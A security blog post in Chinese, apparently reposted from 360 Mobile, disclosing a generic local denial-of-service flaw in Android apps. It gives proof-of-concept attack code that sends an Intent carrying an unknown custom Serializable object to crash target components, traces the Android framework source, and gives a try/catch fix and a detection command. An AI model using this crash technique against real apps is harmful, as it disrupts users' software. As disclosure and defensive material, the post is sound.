標籤:
0xr0ot和Xbalien交流所有可能導致應用拒絕服務的異常類型時,發現了一處通用的本地拒絕服務漏洞。該通用型本地拒絕服務可以造成大面積的app拒絕服務。
針對序列化對象而出現的拒絕服務主要是由於應用中使用了getSerializableExtra() 的API,由於應用開發人員沒有對傳入的資料做異常判斷,惡意應用可以通過傳入畸形資料,導致應用本地拒絕服務。
漏洞應用程式碼片段:
Intent i = getIntent();if(i.getAction().equals("serializable_action")){ i.getSerializableExtra("serializable_key"); //未做異常判斷}
攻擊應用程式碼片段:
Intent i = new Intent();i.setAction("serializable_action");i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity");i.putExtra("seriadddddlizable_dkey",XXX); //此處是傳入畸形資料startActivity(i);
比如XXX處傳入BigInteger.valueOf(1)極有可能發生轉型異常錯誤java.lang.ClassCastException。
但後來交流中發現,當傳入一個自訂的序列化對象Serializable或getParcelable對象時,接收Intent的目標組件在getSerializableExtra()、getParcelable()等會拋出類未定義的異常java.lang.NoClassDefFoundError。這是因為當你給漏洞應用傳入一個應用本身並沒有的序列化類別對象,在應用上下文中肯定是找不到這個類的。
自訂的序列化類別很簡單:
public class DataSchema implements Serializable { private static final long serialVersionUID = -3601187837704976264L; public DataSchema() { super(); }}
對應的攻擊代碼中XXX處傳入new DataSchema(),我們發現傳入的key不管是否與漏洞應用相同,都會拋出類未定義的異常。
隨著測試的深入,我們通過logcat發現,在錯誤記錄檔裡不一定是getSerializableExtra()、getParcelable()導致的。然後我們就延伸了下,試著向getXXXExtra()傳入我們自訂的序列化類別對象,發現都會拋出類未定義的異常。
測試app程式碼片段:
protected void onCreate(Bundle savedInstanceState) { Intent intent = getIntent(); intent.getStringExtra("ROIS"); //此處依然會由於NoClassDefFoundError crash}
接著我們測試了市面上大量主流應用,涵蓋BAT等。發現這種方法可以通殺。我們開始覺得這個是android本身的問題,開始翻原始碼。
/frameworks/base/core/java/android/content/Intent.java
public String getStringExtra(String name) { return mExtras == null ? null : mExtras.getString(name);}/frameworks/base/core/java/android/os/Bundle.javapublic String getString(String key) { unparcel(); //處理資料 ...}/* package */ synchronized void unparcel() { ... mParcelledData.readMapInternal(mMap, N, mClassLoader); ...}
/frameworks/base/core/java/android/os/Parcel.java
readMapInternal解析傳遞進來的資料
/* package */ void readMapInternal(Map outVal, int N,ClassLoader loader) { while (N > 0) { Object key = readValue(loader); Object value = readValue(loader); outVal.put(key, value); N--; }}最後當解析到Serializable對象時,由於載入不到類,拋出異常public final Serializable readSerializable() { ... try { ObjectInputStream ois = new ObjectInputStream(bais); return (Serializable) ois.readObject(); } catch (IOException ioe) { throw new RuntimeException("Parcelable encountered " + "IOException reading a Serializable object (name = " + name + ")", ioe); } catch (ClassNotFoundException cnfe) { throw new RuntimeException("Parcelable encountered" + "ClassNotFoundException reading a Serializable object (name = " + name + ")", cnfe); }}
但是回頭想想,Google肯定不是認為這是android的漏洞,開發人員只要加個try catch 捕獲異常就可以了。
漏洞修複:
不管是get什麼extra,只要是getXXXExtra(),加上try catch捕獲異常即可。
漏洞檢測:
為了方便大家測試我們寫了個簡單的驗證程式。
使用方法:
adb shell am start -n com.qihoo.checkextracrash/.MainActivity -e package_name packagename -e class_name componentname
http://yunpan.cn/cyxmpwnk3MMT3(提取碼:7a7d)
參考:
http://androidxref.com/4.2.2_r1/xref/frameworks/base/core/java/android/os/Parcel.java
轉載自:http://blogs.360.cn/360mobile/ 0xr0ot & Xbalien
Android應用安全之Android APP通用型拒絕服務漏洞